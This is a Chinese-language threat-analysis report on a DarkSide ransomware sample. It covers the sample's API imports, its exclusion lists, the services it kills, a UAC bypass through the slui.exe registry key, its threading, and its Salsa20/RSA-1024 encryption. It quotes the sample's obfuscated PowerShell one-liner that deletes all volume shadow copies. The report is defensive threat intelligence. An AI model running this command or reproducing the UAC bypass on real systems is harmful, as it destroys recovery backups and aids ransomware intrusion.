1.样本简介
2020年8月监测到一个新的流行勒索软件家族出现,且自称为DarkSide,得知该运营团队同样通过定点攻击机构来获利。深信服安全团队在捕获相关样本后对其进行了深度分析发现暂无缺陷,无法采用非正常方式对其解密。
该勒索软件文件加密结果如下,后缀名是不唯一的,采用与受害机器信息有关的信息来随机选取。
2.详细分析
样本采用VS2015平台编写,编译时间为2020年8月8日,如下。
采用动态API方式进行调用,调用的API函数如下。
ntdll_12._wcsicmp
ntdll_12.wcscpy
ntdll_12.wcscat
ntdll_12.wcsstr
ntdll_12.wcsrchr
ntdll_12.wcslen
ntdll_12._wcslwr
ntdll_12.swprintf
ntdll_12.RtlInitUnicodeString
ntdll_12.LdrEnumerateLoadedModules
ntdll_12.RtlRandomEx
ntdll_12.RtlComputeCrc32
ntdll_12._allshr
ntdll_12._alldiv
ntdll_12._allmul
ntdll_12.ZwQuerySystemInformation
ntdll_12.ZwQueryInformationFile
ntdll_12.ZwQueryInformationProcess
ntdll_12.strlen
ntdll_12.RtlGetVersion
ntdll_12.RtlWow64EnableFsRedirectionEx
kernel32.LoadLibraryA
kernel32.FreeLibrary
kernel32.CreateFileW
kernel32.CreateProcessW
kernel32.CreateThread
kernel32.ReadFile
kernel32.WriteFile
kernel32.GetFileSi
kernel32.CloseHandle
kernel32.OpenMutexW
kernel32.CreateMutexW
kernel32.GetUserDefaultLangID
kernel32.GetSystemDefaultUILanguage
kernel32.GetCommandLineW
kernel32.GetModuleFileNameW
kernel32.GetShortPathNameW
kernel32.GetEnvironmentVariableW
kernel32.GetWindowsDirectoryW
ntdll_12.RtlInitializeCriticalSection
ntdll_12.RtlEnterCriticalSection
ntdll_12.RtlLeaveCriticalSection
ntdll_12.RtlDeleteCriticalSection
kernel32.CreateIoCompletionPort
kernel32.GetQueuedCompletionStatus
kernel32.PostQueuedCompletionStatus
kernel32.OpenProcess
kernel32.CreateToolhelp32Snapshot
kernel32.Process32FirstW
kernel32.Process32NextW
kernel32.SetFileAttributesW
kernel32.GetLogicalDriveStringsW
kernel32.GetDriveTypeW
kernel32.WaitForSingleObject
kernel32.GetSystemDirectoryW
kernel32.IsWow64Process
kernel32.TerminateProcess
kernel32.Wow64DisableWow64FsRedirection
kernel32.Wow64RevertWow64FsRedirection
kernel32.SetThreadExecutionState
kernel32.GetNativeSystemInfo
ntdll_12.RtlAllocateHeap
ntdll_12.RtlReAllocateHeap
kernel32.HeapFree
kernel32.GetProcessHeap
kernel32.FindFirstFileExW
kernel32.FindNextFileW
kernel32.FindClose
kernel32.Sleep
kernel32.MoveFileExW
kernel32.WaitForMultipleObjects
kernel32.SetFilePointerEx
kernel32.InterlockedIncrement
kernel32.GetCurrentProcessId
kernel32.DuplicateHandle
kernel32.TerminateThread
kernel32.GetExitCodeThread
kernel32.RemoveDirectoryW
kernel32.DeleteFileW
kernel32.WideCharToMultiByte
kernel32.GetCurrentDirectoryW
kernel32.SetCurrentDirectoryW
advapi32.OpenProcessToken
advapi32.DuplicateTokenEx
advapi32.ImpersonateLoggedOnUser
advapi32.GetTokenInformation
advapi32.LookupAccountSidW
advapi32.AdjustTokenPrivileges
advapi32.OpenSCManagerW
advapi32.EnumServicesStatusExW
advapi32.OpenServiceW
advapi32.ControlService
advapi32.DeleteService
advapi32.CloseServiceHandle
advapi32.GetNamedSecurityInfoW
advapi32.SetNamedSecurityInfoW
advapi32.SetEntriesInAclW
advapi32.RegOpenKeyExW
advapi32.RegCreateKeyExW
advapi32.RegSetValueExW
advapi32.RegCloseKey
advapi32.RegDeleteValueW
advapi32.RegFlushKey
shell32.CommandLineToArgvW
shell32.ShellExecuteW
shell32.IsUserAnAdmin
shell32.ShellExecuteExW
ole32.CoInitialize
ole32.CoUninitialize
ole32.CoGetObject
ole32.CoInitializeSecurity
ole32.CoCreateInstance
ole32.CoSetProxyBlanket
oleaut32.VariantClear
mpr.WNetOpenEnumW
mpr.WNetEnumResourceW
mpr.WNetCloseEnum
IPHLPAPI.GetAdaptersInfo
shlwapi.PathIsDirectoryW
shlwapi.PathIsDirectoryEmptyW
加密过程会排除的文件夹如下:
$recycle.bin.config.msi.$windows.~bt.$windows.~ws.windows.appdata.application data.boot.google.mozilla.program files.program files (x86).programdata.system volume information.tor browser.windows.old.intel.msocache.perflogs.x64dbg.public.all users.default
加密过程会排除的文件如下:
.autorun.inf、boot.ini、bootfont.bin、bootsect.bak、desktop.ini、iconcache.db、ntldr、ntuser.dat、ntuser.dat.log、ntuser.ini、thumbs.db
加密后缀如下:
.386.adv.ani.bat.bin.cab.cmd.com.cpl.cur.deskthemepack.diagcab.diagcfg.diagpkg.dll.drv.exe.hlp.icl.icns.ico.ics.idx.ldf.lnk.mod.mpa.msc.msp.msstyles.msu.nls.nomedia.ocx.prf.ps1.rom.rtp.scr.shs.spl.sys.theme.themepack.wpx.lock.key.hta.msi.pdb
搜索时会结束的服务名称如下:
backup.here_backups.sql.sqlite.vss.sql.svc$.memtas.mepocs.sophos.veeam.backup
搜索时会排除的进程名称如下:
.vmcompute.exe.vmms.exe.vmwp.exe.svchost.exe.TeamViewer.exe.explorer.exe.sql.oracle.ocssd.dbsnmp.synctime.agntsvc.isqlplussvc.xfssvccon.mydesktopservice.ocautoupds.encsvc.firefox.tbirdconfig.mydesktopqos.ocomm.dbeng50.sqbcoreservice.excel.infopath.msaccess.mspub.onenote.outlook.powerpnt.steam.thebat.thunderbird.visio.winword.wordpad.notepad
通过解密,获取的勒索信如下。
勒索信中附带的用户Key,如下。
判断是否为管理员权限,采用"SoftwareClassesexefileshellopencommand","C:Windowssystem32slui.exe"设置注册表项值,利用slui程序劫持并绕过UAC机制。
在快速加密模式下一共开启4个线程进行协作,如下。
线程1 |
使用线程3产生的密钥对文件进行加密 |
线程2 |
将线程1的文件末尾写入加密的密钥数 |
线程3 |
对每个待加密的文件产生随机的密钥并使用内置的RSA公钥加密 |
线程4 |
将结束状态写入日志文件 |
得到加密文件后缀,如下。
产生的日志文件命名:"LOG.38c3d708.TXT",会对勒索母体文件的内容计算CRC32后得到结果并拼接成Global508735bb4dc2cc5c86f67b08c223f381作为互斥量,之后利用PowerShell命令删除卷影服务。
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
采用RtlRandomEx产生随机数,每个文件都存在唯一的密钥,如下。
读取文件的末尾倒数0x90个字节数据后只取0x80大小进行CRC32计算值,便于解密时进行比对是否正确解密。
采用Salsa20算法进行加密,后续将0x90大小数据(被RSA加密后的密钥)写入文件末尾。
加密完成,写入状态至日志文件。
加密文件数据区域布局,如下。
3.加密方式
采用RtlRandomEx产生随机数拼接得到0x40大小字节数据作为初始密钥,每个待加密文件都存在唯一的密钥,之后被内置的RSA-1024公钥进行加密,对文件采用Salsa20算法进行加密完成后,后续将0x90大小字节数据(被RSA加密后的密钥)写入文件末尾,由于RtlRandomEx为微软官方提供的安全随机数,以及RSA1024算法的公开特性,暂无法对其破解解密。
4.ATT&CK匹配
5.威胁情报
HASH
f87a2e1c3d148a67eaeb696b1ab69133
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论